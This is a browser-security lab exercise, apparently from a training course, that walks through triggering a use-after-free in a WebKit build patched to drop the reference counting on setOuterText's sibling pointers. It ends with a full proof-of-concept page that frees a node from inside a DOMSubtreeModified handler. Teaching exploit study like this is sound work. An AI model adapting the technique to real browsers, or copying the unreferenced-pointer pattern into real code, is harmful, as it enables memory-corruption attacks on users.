🔗 DOM Event Callback Vulnerability

🔗 Exercise

Now that we have learned about some historical patterns of incorrect reference handling in WebCore, let's try to trigger a UAF.

🔗 Managing DOM References From JavaScript

This exercise will involve getting a RefPtr to have 0 refs (which causes it to instantly free). However, triggering these kinds of bugs can be tricky due to JavaScript also taking refs to these objects.

For example look at the following JavaScript code that interacts with DOM objects.

JavaScript
let t = document.getElementById('foo'); let p = target.firstChild; // c++ reference taken to the child

When we call getElementById on the IDL-wrapped document object, it will trigger the associated c++ function. This function will search the document tree for an element with the id attribute set to "foo". Once it finds it, it will take a reference and pass it back to JavaScript. To send it back to JavaScript land, the engine will create an IDL-wrapper object (i.e. JSHtmlElement). The wrapper object's lifetime is handled by the JavaScript garbage collector (more on GCs later).

This wrapper object still holds a reference to the original DOM object, preventing its ref count from reaching 0. Additionally the wrapper object will stick around for some time (at least until a GC).

If we want to trigger a bug that causes the refcount to hit 0, we need to avoid any functions which would return our target object to JavaScript land. Do not use getElementById, parentElement, firstChild, etc to fetch the object you want to free.

One particularly useful method for this is setting innerHTML or innerText, which both replace the entirety of an element's contents, e.g. <div>[innerHTMLhere]</div>. Setting either of these properties triggers c++ functions that remove the replaced elements from the DOM tree, but do so without returning any references back to JavaScript land.

JavaScript
let t = document.getElementById('target'); t.innerHTML = ''; // Remove all children from the DOM tree, but take 0 references

You will likely want to use this in your POC for this exercise.

🔗 Vulnerable Function

For this exercise you will be using a version of WebKit which has a patch applied to it. The patch introduces a vulnerability in the following function:

C++
ExceptionOr<void> HTMLElement::setOuterText(const String& text) { ... Node * prev = previousSibling(); Node * next = nextSibling(); RefPtr<Node> newChild; // Convert text to fragment with <br> tags instead of // linebreaks if needed if (text.contains('\r') || text.contains('\n')) newChild = textToFragment(document(), text); else newChild = Text::create(document(), text); if (!parentNode()) return Exception { HierarchyRequestError }; auto replaceResult = parent->replaceChild(*newChild, *this); ... RefPtr<Node> node = next ? next->previousSibling() : nullptr; ... return { }; }

Some irrelevant parts have been omitted, but feel free to look at the full function (without the exercise patch applied) here.

The c++ setOuterText function shown above will be called when we set the outerText property of any element. For example:

HTML
<html><body> <div id="parent"> <div id="sibling">Hello</div> <div id="target"> world</div> </div> <button onclick="go()">go</button> <script> function go() { let s = document.getElementById('sibling'); s.outerText = 'Goodbye'; // the entire "hello" div will be removed and replaced with a single text node "Goodbye" } </script> </body></html>

The first thing we must do here is identify the vulnerability in the function:

  Reveal Answer

The bug is that there is no RefPtr on the prev and next variables.


We will want to make use of event handlers in this POC.

  • Determine an event that will trigger in between the targets being stored and used. (hint: skim over replaceChild)
  • How would you get JavaScript to run when this event is triggered?
  Reveal Answer

The call to replaceChild will trigger a DOMSubtreeModified event. We can trigger a JavaScript callback if we use an event handler on the parent of the element we are calling setOuterText on:

HTML
<html><body> <div id="parent"> <div id="sibling">Hello</div> <div id="target"> world</div> </div> <button onclick="go()">go</button> <script> function go() { let p = document.getElementById("parent"); let s = document.getElementById("sibling"); // Add event listener to the parent p.addEventListener("DOMSubtreeModified", e=>{ alert("In event handler!"); }); s.outerText = "Goodbye"; } </script> </body></html>

Next determine how you would trigger the bug in the event handler, causing a UAF. To do this, you need to cause the targets to be freed (drop their refs to 0) before they are used later in the function.

  Reveal Answer

We will try to get the target div to be freed. Inside the function, it will be the next variable. Inside our event handler we will set innerText (or innerHTML) on the parent to remove both sibling and target from the DOM tree. This will decrement their reference counts.

Since we never take a reference to target in JavaScript, it will hit 0 refs and be freed. Once the c++ function resumes, it will use the now dangling pointer on the next line.

🔗 Writing a POC

Warningwarning

If you haven't already, read through the VM overview to understand the VM / exercise setup.

Now, put the pieces together and develop a basic proof-of-concept to trigger the UAF and crash WebKit.

To interact with WebKit's DOM engine, we will be using a minimal graphical wrapper called MiniBrowser. Specifically, to run MiniBrowser on Linux, we will be using the GTK MiniBrowser wrapper.

In this exercise we will be using an ASAN (Address Sanitizer) build of MiniBrowser to detect the Use After Free (UAF) vulnerability.

Once the UAF is triggered, the browser will crash and print a report describing the issue. You should see the ASAN output in the terminal that launched MiniBrowser.

You will want to create an HTML file somewhere in your home directory, so you can directly open the page in MiniBrowser.

Since MiniBrowser is a visual browser, you will probably want to connect over VNC, so you can interact with the rendered page.

Once connected you can open a terminal (over VNC or SSH) and launch ASAN MiniBrowser with the following:

bash
exercise run minibrowser --asan ~/path/to/file.html

You can use the HTML from earlier as a template (you can utilize the button to attach a debugger before launching the exploit).

HTML
<html><body> <div id="parent"> <div id="sibling">Hello</div> <div id="target"> world</div> </div> <button onclick="go()">go</button> <script> function go() { let s = document.getElementById('sibling'); s.outerText = 'Goodbye'; } </script> </body></html>
Noteinfo

Using a debugger isn't necessarily required for this exercise, but if you decide to do so, keep in mind MiniBrowser is running inside a container, so you should launch gdb within the container as well. Once MiniBrowser is launched, in a separate terminal, run exercise run minibrowser --asan --shell to get a shell in the container, and run gdb from there. The process to attach to is WebKitWebProcess.

  Example Solution
HTML
<html><body> <div id="parent"> <div id="sibling">Hello</div> <div id="target"> world</div> </div> <button onclick="go()">go</button> <script> function go() { let p = document.getElementById("parent"); let s = document.getElementById("sibling"); // Add event listener to the parent p.addEventListener("DOMSubtreeModified", e=>{ alert("In event handler!"); // Remove sibling and target from DOM tree p.innerText = ""; // target drops to 0 refs and is freed // Return back to c++ function, trigger UAF return; }); s.outerText = "Goodbye"; } </script> </body></html>